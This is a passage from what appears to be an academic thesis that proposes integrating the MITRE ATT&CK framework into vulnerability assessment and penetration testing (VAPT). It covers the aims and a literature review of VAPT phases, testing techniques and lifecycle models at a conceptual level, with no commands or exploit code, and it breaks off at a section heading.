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Abstract/Synopsis
The study addresses the growing challenges of sophisticated cybersecurity threats, revealing the limitations of traditional Vulnerability Assessment and Penetration Testing (VAPT) methods in detecting and mitigating complex vulnerabilities. The importance of an effective VAPT assessment is closely tied to setting the right scope of penetration testing. A limited scope risks leaving critical systems, vulnerabilities in untested areas, while an overly broad scope can increase complexity, costs, and resource strain. To overcome these challenges, the research seeks to expand the scope of penetration testing by developing and validating an optimized VAPT methodology through the integration of the MITRE ATT&CK framework, which provides a structured approach by understanding adversarial tactics and techniques.
This integration allows for a more comprehensive evaluation of security vulnerabilities. The study involves a redesign of VAPT processes, using advanced tools like Caldera, Metasploit and Nmap to simulate real-world attack scenarios, including Denial of Service (DoS) and unauthorized domain controller access. A derived Attack Vector model not only improves vulnerability detection and reduces response times but also increases the adaptability of security assessments. A significant contribution of this research is the expanded scope of penetration testing, enabling more effective risk analysis and better identification and mitigation of security vulnerabilities. This study addresses current gaps and sets the foundation for future research into automating and continuously improving security assessments, providing organizations with a robust methodology to counter evolving cyber threats.
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1. [bookmark: _Toc174391304][bookmark: _Toc175413582]
[bookmark: _Toc174391305][bookmark: _Toc175413583]Introduction
Vulnerability Assessment and Penetration Testing (VAPT), is a procedure utilized to detect and assess vulnerabilities within a system or network. Security flaws in an organization's computer systems, networks, and applications can be found and fixed using two distinct but complimentary methodologies called vulnerability assessment and penetration testing. Vulnerability assessment identifies and ranks security weaknesses in the infrastructure, systems, and applications using manual and automated methods. Its goal is to spot potential issues before attackers do. Penetration testing tries to exploit these weaknesses to see if they can lead to unauthorized access, testing the effectiveness of security measures. [1]  Administrators must conduct a complete testing cycle to detect and mitigate vulnerabilities using patches and updates, thereby eliminating them from the system. Subsequently, attackers encountering the system will find no open vulnerabilities, thwarting their exploitation efforts and strengthening cyber defense.
[bookmark: _Toc174391306][bookmark: _Toc175413584]Background
The need for robust cybersecurity measures has never been more critical, given the increasing sophistication of cyber threats. Vulnerability Assessment and Penetration Testing (VAPT) are integral processes in this defense strategy, aimed at identifying and mitigating potential security risks within an organization's systems, networks, or web applications. VAPT methodologies lifecycle consists of nine phases: defining scope, reconnaissance, vulnerability detection, information analysis, penetration, privilege escalation, result analysis, reporting and cleanup. This is depicted in Figure: 1 

[image: ]
[bookmark: _Toc173940930][bookmark: _Toc175171051]Figure 1 VAPT Lifecycle [2]

Initially, the scope is defined, outlining parameters and limitations. During reconnaissance, basic information about the target is gathered. Vulnerability detection identifies system weaknesses. Information analysis and planning follow, assessing risks and planning attacks. Penetration involves executing the attack. Privilege escalation seeks higher access levels. Result analysis identifies the root cause and fixes. Finally, detailed reports are generated, and the system is restored to its original state. [2]
To enhance efficiency, the VAPT methodology can be streamlined into two main stages: Vulnerability Assessment and Penetration Testing. Figure 2 depicts the analysis at each stage of the VAPT process.
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[bookmark: _Toc173940931][bookmark: _Toc175171052]Figure 2 VAPT Process Diagram [3]
Vulnerability Assessment is the process of finding security gaps or vulnerabilities in an organization's computer system, network, or web applications requires having the right expertise, knowledge of infrastructure, and awareness of potential environmental risks. A thorough report is produced at the end of the assessment process, which can be utilized in the penetration testing procedure. [3] 
Penetration testing is a process where a tester attempts to take advantage of security holes discovered during the vulnerability assessment phase in computer systems, networks, or online applications. It is also called ethical hacking. Through the use of penetration testing, the tester is able to determine which vulnerabilities in the system are false positives and which are genuine threats, offering insights into the real security posture of the system. [3] 
Regular VAPT offers several benefits: improved security by identifying and prioritizing vulnerabilities, enhanced compliance with regulations, reduced risk by mitigating threats, and increased efficiency by focusing on critical issues. [4] As a cyber defense technology, VAPT identifies and mitigates vulnerabilities, preventing attacks like DoS, RA flooding, and ARP poisoning. It helps administrators patch systems, reducing the risk of exploitation and enhancing overall security. [2]
Despite its benefits, VAPT faces drawbacks: trust issues with hiring hackers, high costs, lengthy processes, limited testing scope due to resource constraints, method limitations depending on system compatibility.[2]  In addition to that, it is time-consuming, resource-intensive, potentially disrupting operations, and offering only a snapshot of security, lacking ongoing protection against future threats. [4]
The effectiveness of a VAPT assessment heavily relies on its scope. A constrained scope limits the breadth and depth of the testing, potentially leaving important systems and vulnerabilities unchecked. Conversely, expanding the scope increases the complexity and costs, straining resources and potentially disrupting normal operations. 
Given these challenges, there is a pressing need for a better VAPT model that amplifies results by optimizing the scope and improving the overall methodology. The enhanced model should thoroughly evaluate all critical systems and vulnerabilities, minimizing false positives and negatives with precise detection and analysis techniques. It must balance comprehensive assessments with practical resource management and integrate advanced tools and frameworks to automate and streamline the process, reducing human error and improving consistency. 
Leveraging the MITRE ATT&CK framework, [5] the optimized VAPT methodology will ensure robust security coverage, improve resource efficiency by balancing thoroughness and cost, and enhance detection accuracy through advanced tools. It will also support proactive defense with continuous monitoring and timely updates, leading to better risk mitigation through detailed vulnerability analysis and reporting.
The improved VAPT methodology will benefit organizations by enhancing their security posture and reducing cyber threat risks. Security professionals will find the testing process more effective and streamlined. Compliance officers will be better able to meet regulatory requirements, and IT departments will experience reduced operational disruptions and better resource management.

[bookmark: _Toc174391307][bookmark: _Toc175413585]Aim
The aim of this research is to develop and validate an optimized Vulnerability Assessment and Penetration Testing (VAPT) methodology by integrating the MITRE ATT&CK framework that enhances the scope and risk analysis process to improve the identification and mitigation of security vulnerabilities.

[bookmark: _Toc174391308][bookmark: _Toc175413586]Objectives
· To review the Vulnerability Assessment and Penetration Testing (VAPT) methodology, its phases, re-design and analyze the issues faced
· To re-design the current VAPT methodology by incorporating the MITRE ATT&CK Framework to improve effectiveness.
· To analyze the real-world attack scenarios so the scope parameter can be enhanced for future penetration testing activities.
· To investigate various attack strategies, methods, plans and techniques employed by attackers to get the complete understanding of the compromised access into the network.
· To evaluate the network for any gaps in the penetration testing efforts so the defined scope will be improved in future testing so as to provide comprehensive security.

[bookmark: _Toc174391309][bookmark: _Toc175413587]Structure of the Project
The project consists of three parts: Theoretical Framework part involves reviewing existing literature and previous studies on VAPT and Penetration Testing methodologies, expanding the knowledge base essential for the project’s outcome. Design and Implementation part details problem formulation and design implementation, focusing on analyzing the VAPT methodology using the MITRE ATT&CK framework during the penetration testing phase. Findings and Conclusion section presents an analysis of applying MITRE ATT&CK tactics and techniques in penetration testing, discussing experimental results, summarizing previous chapters, drawing final conclusions, and suggesting future work or development.
Chapter one provides an overview of the report, detailing the aim and highlighting the objectives essential for achieving a successful outcome.
Chapter two examines the current studies in Vulnerability Assessment and Penetration Testing phases in VAPT methodologies, Penetration testing methodologies, detailing their designs. It also explores how the MITRE ATT&CK framework addresses scope limitations through comprehensive coverage methods.
Chapter three details the research approach and design, presenting a systematic method that includes research philosophy, approach, strategy, and data collection techniques based on the research onion model.
Chapter four outlines enhancing VAPT methodology by integrating with the MITRE ATT&CK framework, detailing network setup and project implementation for comprehensive assessments and effective risk mitigation.
Chapter five explores the experimental study by reviewing VAPT's nine-phase process which incorporates MITRE ATT&CK, using vulnerability assessment and penetration testing phased approach for improved accuracy and resource efficiency and gets evaluated experimentally. Attack Vector model is designed using the outcome of the experimental study.
Chapter six focuses on advancing VAPT through MITRE ATT&CK integration, improving vulnerability detection, and drawing conclusions with future research suggestions.

[bookmark: _Toc174391310][bookmark: _Toc175413588]Conclusion
This chapter underscores the importance of Vulnerability Assessment and Penetration Testing (VAPT) in identifying security weaknesses. Despite challenges like limited scope and high costs, integrating the MITRE ATT&CK framework can enhance VAPT's effectiveness. This approach improves scope of threat detection, addresses testing gaps, and strengthens organizational cybersecurity defenses against evolving threats.



[bookmark: _Toc174391311][bookmark: _Toc175413589]Research and Review of Literature
[bookmark: _Toc174391312][bookmark: _Toc175413590]Introduction
Cybersecurity's evolution reflects the rising complexity of cybercrime, demanding robust defenses like network, and information security as shown in Figure 3. [6] As cyber threats become more sophisticated, with diverse attack surfaces, the importance of vigilant cybersecurity practices grows. Frameworks that offer a thorough grasp of adversary tactics, improve detection, and strengthen response capabilities like MITRE ATT&CK play a vital role. These measures are essential to protect against significant financial and operational risks.
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[bookmark: _Toc175171053][bookmark: _Toc173940932]Figure 3 Technical Knowledge of attackers versus attack complexity [6]

[bookmark: _Toc174391313][bookmark: _Toc175413591]Principles of Cybersecurity
The principles of information security are crucial, focusing on confidentiality, integrity, and availability (CIA). Confidentiality protects information from unauthorized access, integrity ensures data accuracy and consistency, and availability guarantees data access when needed. These principles, along with policies, new technologies, and user awareness, form the comprehensive approach necessary to safeguard cyberspace from evolving cyber threats as described in Figure 4. [6]
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[bookmark: _Toc175171054][bookmark: _Toc173940933]Figure 4 Three Dimensions of Cybersecurity [6]


[bookmark: _Toc174391314][bookmark: _Toc175413592]Vulnerabilities, Attacks, Threats & Exploits
0. [bookmark: _Toc174391315][bookmark: _Toc175413593]Vulnerabilities
Vulnerabilities are system flaws or design weaknesses that enable attackers to execute malicious commands, gain unauthorized data access, or carry out denial-of-service attacks. [8] Vulnerabilities span software bugs, firewall misconfigurations, and network protocol flaws, each presenting unique exploitation risks. Critically, these weaknesses compromise system confidentiality, integrity, and availability, emphasizing the need for robust security measures. [6]
[bookmark: _Toc174391316][bookmark: _Toc175413594]Attacks
Attacks involve exploiting system vulnerabilities to disrupt operations or compromise security. Attackers employ diverse tools and techniques for malicious gain, from financial motives to ideological reasons. [7] Technological advancements have expanded information access but also intensified cyber-attacks across sectors. Social engineering, application exploits, cryptography vulnerabilities, hijacking, malware, botnets, password breaches, and man-in-the-middle attacks underscore the need for robust security measures like encryption, intrusion detection, and user education. [6]
[bookmark: _Toc174391317][bookmark: _Toc175413595]Threats
Threats are acts that take advantage of security flaws to harm systems for the benefit of the attacker. [7] From straightforward breaches to complex attacks that take advantage of identity theft, data forging, cybercrime, and wireless proliferation, threats have changed throughout time. To effectively combat these dynamic dangers, non-technical measures like physical protection and user training must be combined with technical solutions like encryption and AI-driven detection. [6]
[bookmark: _Toc174391318][bookmark: _Toc175413596]Exploits
Exploits are malicious actions that take advantage of vulnerabilities to execute unauthorized commands, access data, or disrupt services. They involve exploiting software bugs, misconfigurations, and protocol flaws, compromising system integrity, confidentiality, and availability. Robust security measures are crucial to defend against these sophisticated cyber threats.





[bookmark: _Toc174391319][bookmark: _Toc175413597]Vulnerability Assessment
Vulnerability assessment, as part of the VAPT approach, systematically identifies, quantifies, and ranks vulnerabilities in networks, systems, or applications using specialized tools. This process scans for vulnerabilities or security weaknesses and potential risks, enabling organizations to apply patches, adjust settings, or update systems to mitigate these vulnerabilities before attackers can exploit them.
[bookmark: _Toc174391320][bookmark: _Toc175413598]Vulnerability Lifecycle
The vulnerability life cycle in operating systems is generally divided into five key stages: creation, discovery, disclosure, patch availability, and patch installation as portrayed in Figure 5. [4] Initially, a vulnerability is created within the OS. Next, it is discovered by the vendor, who then discloses it publicly. Following disclosure, a patch is developed and made available. Finally, users install the patch to address the vulnerability. An additional stage, the "exploit stage," may occur, where the vulnerability could be exploited before a patch is released. This structured approach helps to highlight how      the progression happens from vulnerability identification to mitigation. 


[image: ]
[bookmark: _Toc173940934][bookmark: _Toc175171055]Figure 5 Vulnerability Lifecycle [4]

[bookmark: _Toc174391321][bookmark: _Toc175413599]Vulnerability Management Lifecycle
The vulnerability management life cycle, as depicted in Figure 6, is an essential framework in the literature on vulnerability management, guiding the process of identifying, assessing, prioritizing, remediating, and monitoring vulnerabilities within an organization's information systems. This iterative process ensures continuous defense against potential attacks. [1] Another significant study describes this lifecycle, beginning with the discovery of the vulnerability within the organization, followed by its disclosure to security professionals, the release of a patch, full public disclosure, availability of an exploit, and ultimately, the resolution of the vulnerability. [1], [8]
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[bookmark: _Toc173940935][bookmark: _Toc175171056]Figure 6 Vulnerability Management Life Cycle [1]

Figure 6 illustrates the stages of the Vulnerability Management life cycle, which include identifying vulnerabilities through scanning and testing, evaluating their severity and impact with scoring and analysis, prioritizing them according to their seriousness and potential consequences, remediating vulnerabilities through patching or updates, confirming the success of remediation efforts by rescanning and retesting, and continuously monitoring systems to prevent the recurrence of vulnerabilities or the emergence of new ones. Following this life cycle allows organizations to systematically protect their information systems and manage vulnerabilities effectively.


[bookmark: _Toc174391322][bookmark: _Toc175413600]Why Vulnerability Assessment is important?
Conducting vulnerability assessments is crucial for an organization's security strategy, as it identifies and addresses vulnerabilities that attackers could exploit. Key benefits include prioritizing vulnerabilities, validating security controls, reducing breach risks, ensuring regulatory compliance, and adopting a proactive security stance. These assessments help uncover known vulnerabilities and misconfigurations, validate defenses, minimize breach impact, and maintain compliance with industry standards, ultimately enhancing overall security resilience. [1]
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[bookmark: _Toc166186610][bookmark: _Toc166191432][bookmark: _Toc175171057][bookmark: _Toc173940936]Figure 7 Vulnerability Assessment Method [10]

Figure 7 outlines crucial stages in vulnerability assessment: Planning establishes goals and boundaries; the Test Phase (Reconnaissance, Scanning, Gaining Access, Maintaining Access, and Exploitation) identifies system vulnerabilities. In the Test Analysis Phase, Evidence Collection and Reporting assess findings, documenting vulnerability severity and potential security risks. This comprehensive approach ensures thorough identification, analysis, and reporting of vulnerabilities, enabling effective remediation and bolstering overall system security. [10]
Vulnerability analysis involves evaluating identified vulnerabilities to assess the likelihood and severity of exploitation, determining their potential impact on an organization's security. This process includes a thorough examination to understand the probability and seriousness of successful attacks, as well as the potential consequences for data and systems. The OWASP methodology evaluates flaw risk through two steps: first, it averages the likelihood factors (prevalence, detectability, and exploitability), then multiplies this by a technical impact factor. Both likelihood and technical impact are rated on a scale from 1 to 3. [11]
Risk = Likelihood * Impact
This paper introduces an alternative risk formula in a scenario where key actions include erasing failed login attempts, clearing error messages, and reconfiguring logging mechanisms. These steps are vital for establishing trust in system logs, which are essential for detecting potential intrusions or security breaches. The proposed risk formula incorporates the likelihood of a threat exploiting vulnerabilities and the potential impact, offering a comprehensive method for risk assessment. [12]
Risk = Threat * Vulnerability * Impact 

[bookmark: _Toc174391323][bookmark: _Toc175413601]Vulnerability Assessment Technique
Identifying, assessing, and prioritizing security vulnerabilities in systems, networks, or applications is systematically processed using vulnerability assessment techniques. With the use of suitable security actions like patches, updates, or configuration changes, businesses can effectively mitigate these vulnerabilities by using the insights on potential risks. Here are the known testing techniques. [13]
Static Analysis: It involves analyzing code structure and content without executing test cases, identifying vulnerabilities but requiring significant time and resources.
Manual Testing: Relies on human expertise to discover vulnerabilities either systematically with a test plan or explanatively without one, offering cost savings but demanding substantial human effort.
Automated Testing: Utilizes automated tools to execute test cases efficiently, reducing time and human resources while maintaining accuracy, yet incurring costs for specialized tools and potentially missing certain vulnerability types.
Fuzz Testing: Also known as fuzzing, injects random or invalid data to provoke system crashes or failures, akin to robustness testing. It's less human-intensive and can uncover zero-day vulnerabilities, contingent on effective test cases and tools.
Each technique addresses specific aspects of vulnerability assessment, balancing manual insight with automated efficiency to comprehensively evaluate and mitigate system vulnerabilities.

[bookmark: _Toc174391324][bookmark: _Toc175413602]Types of Vulnerability Scanners
Types of vulnerability scanners include: [14] 
Host-Based Scanners: These identify risks within a host, deploying intermediary software to trace events and report vulnerabilities to security analysts.
Network-Based Scanners: These detect open ports and unknown services on them, identifying network vulnerabilities.
Database-Based Scanners: These tools find security weaknesses in database systems, preventing SQL injection through specialized techniques

[bookmark: _Toc174391325][bookmark: _Toc175413603]Challenges in Vulnerability Assessment
Vulnerability assessments are crucial for identifying system weaknesses but come with challenges. False positives, where tools flag non-exploitable issues, waste resources. False negatives miss real vulnerabilities, giving a false sense of security. Assessments have limited scope, missing new threats, and complex systems pose testing difficulties. Costs and human errors further complicate assessments.[1]  The program lacks the ability to efficiently discover developing vulnerabilities and logical attack paths, creates enormous amounts of data, and has a high false positive rate that is easily identified by intrusion detection systems. [14] Vulnerability Assessment tools often overlook logical attack vectors, focusing solely on predefined policies set by testers. This approach may miss critical aspects, leading to unnecessary data and false positives in the analysis.[3]






[bookmark: _Toc174391326][bookmark: _Toc175413604]Penetration Testing
In the VAPT methodology, penetration testing involves simulating cyber-attacks on a system, application, or network to identify and exploit vulnerabilities. This process assesses the effectiveness of security controls by mimicking the techniques used by malicious actors. There is no universally defined model for penetration testing due to the dynamic nature of cyber threats, diverse IT environments, varied organizational objectives, and resource constraints. These factors necessitate a flexible approach, as static models cannot adequately cover all scenarios, technologies, and attack vectors, making customized methodologies essential for effective penetration testing.

[bookmark: _Toc174391327][bookmark: _Toc175413605]Penetration Testing Phases
Penetration testing involves attempting to exploit vulnerabilities in networks, systems, and applications. Vulnerability scanning is often integrated into this process to aid in identifying potential weak points. Given the potential legal complexities, it is crucial to establish a formal agreement between the penetration testers and the client. Figure 8 illustrates the phases of penetration testing can be broadly classified as follows: [15]
Agreement: Establish a mutual agreement outlining the scope and limitations of the penetration test due to its offensive nature.
Planning and Reconnaissance: Collect information, define goals and objectives, identify assets, planning attacks and identifying targets.
Scanning: Utilize tools such as vulnerability scanners and port scanners to perform active reconnaissance, identifying network configurations and potential entry points.
Gaining Access: Use data from previous phases to infiltrate the system or network through methods like WEP cracking or ARP request replay. Tools such as Metasploit facilitate this step.
Maintaining Access: Ensure prolonged access to the compromised system to explore further resources.
Exploitation: Employ tools like Burp Suite, Metasploit, Wireshark, and Hydra to exploit identified vulnerabilities.
Evidence and Reporting: Document and report identified vulnerabilities, provide mitigation strategies, and ensure the organization understands the security gaps and remediation measures.
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[bookmark: _Toc175171058]Figure 8 Penetration Testing Phases [15]

[bookmark: _Toc174391328][bookmark: _Toc175413606]Penetration Testing Techniques
Penetration testing is a critical component of cybersecurity, simulating cyber-attacks on systems, networks, or web applications to evaluate their security. These tests are categorized based on their scope, goals, and methods: [4], [13]
Black Box Testing: Testers operate without prior system knowledge, mimicking real attacker behavior by probing for weaknesses without any internal insight.
White Box Testing: Testers possess complete system knowledge, allowing for a holistic assessment of security measures and identification of flaws with full awareness of the system architecture.
Grey Box Testing: Integrates features of white-box and black-box testing. Testers have partial system information, blending blind and informed approaches to efficiently reveal vulnerabilities.
These varied methods provide organizations with a comprehensive evaluation of their security posture, helping to identify and mitigate vulnerabilities effectively against different threat scenarios, thereby enhancing overall cybersecurity defenses.

[bookmark: _Toc174391329][bookmark: _Toc175413607]Types of Penetration Testing
Each type of penetration testing plays a crucial role in identifying and mitigating specific vulnerabilities, ensuring comprehensive security measures are in place to protect organizational assets. [16]
Web application penetration testing: involves assessing web applications for security vulnerabilities that attackers could exploit. It includes testing user authentication to prevent unauthorized access and identifying flaws like XSS and SQL injection. Configuration checks ensure web browsers are secure, and database and web server security is maintained.
Internal network penetration testing: evaluates vulnerabilities accessible by authenticated and non-authenticated users within the organization’s network. It targets misconfigurations and potential data leaks or unauthorized access.
External network penetration testing: identifies and exploits vulnerabilities in external infrastructure, verifying robust authentication and secure data transfer mechanisms.
Social engineering penetration testing: assesses staff susceptibility to phishing and social engineering attacks, complementing technical security measures.
Wireless network penetration testing: evaluates Wi-Fi network vulnerabilities, including encryption weaknesses and potential access points for network penetration.
Red team penetration testing: mimics real-world attacker strategies to breach network defenses and gain unauthorized access, encompassing various methods, including physical access.
Organizations should adopt a multi-faceted approach to penetration testing, combining technical assessments with social engineering evaluations and comprehensive red team simulations to safeguard against evolving cyber threats effectively.

[bookmark: _Toc174391330][bookmark: _Toc175413608]Why Penetration Testing is Important?
Vulnerability assessment and penetration testing are essential security measures for organizations to uncover vulnerabilities in their systems and infrastructure. Vulnerability assessment uses automated tools to scan for weaknesses in networks, systems, and applications, providing a detailed report on identified vulnerabilities and their severity. It is less intrusive and costly compared to penetration testing, which involves simulating real-world attacks to exploit vulnerabilities and assess system defenses comprehensively. Penetration testing is performed by skilled professionals who employ both automated tools and manual techniques to simulate attacks realistically. While vulnerability assessment identifies potential weaknesses systematically, penetration testing evaluates how vulnerabilities can be exploited to gain unauthorized access, making it a critical step in strengthening overall cybersecurity defenses. Both methods are integral to an organization's security strategy, helping to mitigate risks and safeguard against potential cyber threats effectively. [1]
Penetration tests simulate real-world attacks, chaining vulnerabilities to reveal deep-seated risks. They aim to eliminate false positives across all layers and provide realistic evidence of security issues, offering comprehensive insights for enhancing defenses effectively. [15] By conducting these tests, organizations can proactively prevent or minimize potential damage caused by security breaches. Regular penetration testing helps identify and resolve security flaws, ensures the effectiveness of existing controls, discovers bugs in software, and supports compliance with regulations like GDPR and PCI DSS. A comprehensive engagement should meticulously assess an organization’s attack surface, including unsecured ports, vulnerabilities, misconfigurations, and weak passwords. Testers then attempt to exploit these entry points to gain network access, assess for sensitive data exposure, and potentially escalate privileges to assess network security thoroughly.[16] 


[bookmark: _Toc174391331][bookmark: _Toc175413609]Challenges in Penetration Testing
Penetration testing, despite its crucial role in assessing cybersecurity defenses, presents several challenges. Firstly, it demands significant time and expertise due to its complexity in identifying and exploiting vulnerabilities effectively. Secondly, inexperienced penetration testers may inadvertently cause data loss or corruption if not properly skilled in executing tests. Furthermore, performing detailed penetration tests can be both costly and resource-intensive, necessitating specialized tools and experienced professionals. Another critical challenge is the exposure of source code to third parties during testing, posing potential risks if not managed securely. Organizations must carefully balance these challenges by investing in qualified testers, ensuring robust protocols to safeguard sensitive data, and weighing the costs against the potential security benefits. Overall, while penetration testing is indispensable for identifying and mitigating security risks, addressing these challenges is essential to ensure its effectiveness and minimize associated risks.[14] 

[bookmark: _Toc174391332][bookmark: _Toc175413610]VAPT Methodology
Vulnerability assessment (VA) and penetration testing (PT) are pivotal in cybersecurity, with VA identifying system weaknesses through scanning, while PT simulates attacks to evaluate defenses. Employing VAPT (Vulnerability Assessment and Penetration Testing) helps preemptively pinpoint vulnerabilities like DoS, RA flooding, or ARP poisoning, mitigating risks. By executing the full VAPT lifecycle—scan, test, remediate—organizations bolster security, minimizing threats. Robust VAPT ensures once vulnerabilities are addressed, attackers struggle to breach systems, safeguarding vital assets and upholding strong cybersecurity protocols.

[bookmark: _Toc174391333][bookmark: _Toc175413611]Lifecycle of VAPT Methodology
The nine-phase Vulnerability Assessment and Penetration Testing (VAPT) methodology is a systematic approach vital for uncovering and addressing security weaknesses in systems. Figure 9 illustrates the nine stages of VAPT methodology. [13], [14]
Scope: Testers determine the testing approach—Black box, Grey box, or White box—to define the level of access and information available during testing.
Reconnaissance: Gathering information about the target network, IP addresses, and systems to understand their structure and potential vulnerabilities.
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[bookmark: _Toc175171059][bookmark: _Toc173940938]Figure 9 Life Cycle of VAPT Methodology [13]
Vulnerability detection: Utilizing various Vulnerability Assessment (VA) techniques to identify weaknesses in the target system.
Information Analysis and Planning: Analyzing the results from the vulnerability assessment to strategize and plan the penetration testing phase effectively.
Penetration testing: Executing the planned strategies to simulate real-world attacks and exploit identified vulnerabilities within the system.
Privilege Escalation: After gaining initial access, escalating privileges to gain deeper access into the system, facilitating easier and persistent exploitation.
Result Analysis: Thoroughly analyzing the outcomes from each testing phase to understand the implications of vulnerabilities and potential security gaps.
Reporting: Compiling detailed documentation containing findings, recommendations, and proposed solutions to mitigate identified vulnerabilities effectively.
The iterative nature of VAPT allows organizations to continuously improve their security posture by proactively addressing emerging threats and vulnerabilities. Ultimately, by following the complete VAPT lifecycle and adhering to best practices, organizations can enhance their resilience against cyber threats and safeguard critical assets effectively.

[bookmark: _Toc174391334][bookmark: _Toc175413612]Stages of VAPT Methodology
The VAPT process is iterative and encompasses several critical stages as in Figure 10. [4]
Planning and Scope Definition: This initial stage involves setting clear goals and defining the scope of the assessment. It establishes what aspects of the system or network will be evaluated and the specific objectives to be achieved.
Vulnerability Assessment: Here, potential vulnerabilities within the system are identified and meticulously cataloged. This stage typically involves using automated tools to scan for weaknesses in networks, systems, and applications.
Penetration Testing: In this phase, the identified vulnerabilities are actively exploited to simulate real-world attack scenarios. Skilled professionals use a combination of automated tools and manual techniques to attempt unauthorized access to the system or network.
Reporting: After completing the assessment and testing phases, a detailed report is compiled. This document outlines all vulnerabilities discovered, the severity of each, and any successful exploitation attempts. It serves as a crucial resource for stakeholders to understand the security posture of the system.
Remediation: The final stage focuses on addressing the vulnerabilities identified during the assessment. Remediation efforts involve implementing fixes, patches, or configuration changes to enhance the security posture and mitigate risks.
Each stage is integral to the VAPT process, ensuring thorough evaluation and enhancement of system security while critically reviewing each phase for efficacy and accuracy
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[bookmark: _Toc173940939][bookmark: _Toc175171060]Figure 10 Stages of VAPT Methodology [4]

[bookmark: _Toc174391335][bookmark: _Toc175413613]Web Application Penetration Testing Method
The enhanced Vulnerability Assessment and Penetration Testing (VAPT) model incorporates data extraction to handle SQL injection (SQLi) attacks more effectively as indicated in Figure 11. Initially, the planning phase sets clear goals and objectives, defining the scope as black box, grey box, or white box testing. During reconnaissance, critical information such as IP addresses and system details are gathered. Vulnerability detection uses VA techniques to identify potential weaknesses. The information analysis and planning stage involves evaluating VA results to strategize penetration testing. [17]

In the penetration testing phase, testers exploit identified vulnerabilities to gain unauthorized access. Privilege escalation further deepens system penetration. Subsequent result analysis critically examines the penetration outcomes, and comprehensive reports offer actionable recommendations. Data extraction, following a successful SQLi attack, allows testers to retrieve sensitive information like database table and column names, enhancing the identification of security gaps.
This structured methodology, iterating from vulnerability exploitation back to discovery, ensures continuous improvement. The process underscores the importance of thorough VAPT implementation for robust cybersecurity, particularly for financial web applications, by enabling precise identification and mitigation of vulnerabilities
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[bookmark: _Toc175171061][bookmark: _Toc173940940]Figure 11 Web Application Penetration Testing Method [17]

[bookmark: _Toc174391336][bookmark: _Toc175413614]Systematics Problem Solving Method
Figure 12 depicts the study of penetration testing on XYZ website. This is divided into four stages namely: Initial Stage, Testing Stage, Analysis Stage and Final Stage. [18]
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[bookmark: _Toc175171062][bookmark: _Toc173940941]Figure 12 Systematics of Problem Solving [18]

Initial Stage: Entails defining the problem's boundaries and conducting a literature review. This phase aims to set precise research objectives by narrowing the scope of the study. The literature review involves examining reputable sources, including books, papers, and tutorials, to provide a solid foundation for the research.
Testing Stage: Implements exploitation techniques on the XYZ website, adhering to NIST 800-115 standards. Tools such as Nmap, OWASP ZAP, and Burp Suite are utilized. This phase involves several steps: information gathering, vulnerability scanning, and planning. The collected data guides the identification of vulnerabilities to be exploited in the study.
Analysis Stage: In this stage, the study examines the vulnerabilities identified during testing using the scanning tools' findings. This analysis informs the subsequent exploitation efforts and forms the basis for the final reporting.
Final Stage: Concludes the research by compiling the results from the exploitation and vulnerability analysis. This phase includes drawing conclusions from the study and providing recommendations for system hardening and future research. The recommendations target the XYZ website owner and suggest directions for further investigation.
By following these systematic stages, the research ensures a thorough and structured approach to identifying and mitigating vulnerabilities in the XYZ website.

[bookmark: _Toc174391337][bookmark: _Toc175413615]Advantages of VAPT Methodology
Vulnerability Assessment and Penetration Testing (VAPT) offer significant benefits in enhancing system security. VAPT provides detailed insights into potential threats within an application, allowing for a comprehensive understanding of security risks. By identifying programming flaws and system vulnerabilities, VAPT helps prevent breaches that could lead to substantial financial and reputational damage for businesses and organizations. [2]
Additionally, VAPT mitigates the risk of both internal and external attacks by securing systems against malicious threats. It systematically discovers and identifies vulnerabilities that could harm the system, enabling organizations to address these issues proactively. This process also detects loopholes and security gaps, ensuring that user-sensitive information is protected from unauthorized access. [2]
VAPT identifies and prioritizes vulnerabilities in systems and networks, addressing the most critical risks. It provides an independent, third-party evaluation of security posture, uncovering gaps and weaknesses that in-house teams might overlook. Additionally, VAPT delivers valuable insights and recommendations for enhancing overall security, including implementing new security controls and practices. [4]
In summary, VAPT is a crucial tool in cybersecurity, offering detailed threat analysis, flaw detection, and robust protection against various attack vectors, ultimately safeguarding an organization’s assets and reputation. 

[bookmark: _Toc174391338][bookmark: _Toc175413616]Disadvantages of VAPT Methodology
The scope limitation in Vulnerability Assessment and Penetration Testing (VAPT) is a significant drawback, particularly for large organizations with complex IT infrastructures. Comprehensive VAPT can be time-consuming and resource-intensive, requiring significant financial investment to hire specialized security consultants. This process often disrupts normal operations as it involves extensive testing and probing, which can impact system performance and availability.[4]
One of the critical issues is that VAPT provides only a snapshot of an organization's security posture at a specific point in time, failing to ensure ongoing protection against future threats. Due to resource and budget constraints, not all components of an organization's IT system can be tested, leaving some vulnerabilities undetected. This incomplete testing can lead to a false sense of security.
Furthermore, the limitations of testing methods and the varying capabilities of different systems can complicate comprehensive assessment. The expertise required for effective VAPT is often narrowly focused, with specialists possessing deep knowledge in specific areas but lacking a broader understanding of diverse technologies. This can result in a time-consuming process that may not fully address all potential vulnerabilities. [4]
Overall, the scope limitation impacts the results by potentially leaving critical vulnerabilities unaddressed, reducing the effectiveness of the VAPT process and leaving organizations exposed to cyber threats.







[bookmark: _Toc174391339][bookmark: _Toc175413617]Penetration Testing Methodology 
Penetration testing methodology is a structured approach to assessing an organization's cybersecurity by simulating real-world attacks. It involves evaluating the security of systems, networks, and applications to identify vulnerabilities that could be exploited by malicious actors. This methodical process helps organizations understand their security posture, uncover weaknesses, and assess the effectiveness of existing defenses. By replicating attack scenarios, penetration testing provides valuable insights into potential risks and helps in strengthening security measures to better protect against actual cyber threats.

[bookmark: _Toc174391340][bookmark: _Toc175413618]Penetration Testing Phases
We can see from Figure 13, Penetration testing involves seven key phases [19] 
Pre-Engagement Scoping is critical for defining the test’s scope to prevent disruption of essential services. It requires a detailed agreement between the client and testing company.
Reconnaissance, or footprinting, gathers extensive information about the target organization using tools like Nmap and techniques such as social engineering and OSINT.
Threat Modeling/Vulnerability Identification uses gathered data to design threat models and identify vulnerabilities with tools like Nessus or OpenVAS.
Exploitation involves leveraging these vulnerabilities to compromise the system, documenting each step for future phases.
Post-Exploitation documents the compromise and reverts the system to its original state.
Reporting provides a detailed account of the vulnerabilities, exploitation methods, and mitigation strategies.
Resolution/Re-Testing ensures that vulnerabilities have been addressed and resolved.





Pre-Engagement Scoping



Reconnaissance


Threat Modeling / Vulnerability Identification




Exploitation


Post-Exploitation



Reporting



Resolution / Retesting


[bookmark: _Toc166186611][bookmark: _Toc166191433]
[bookmark: _Toc175171063][bookmark: _Toc173940937]Figure 13 Penetration Testing Phases [19]



[bookmark: _Toc174391341][bookmark: _Toc175413619]Code of Conduct for Ethical Hackers
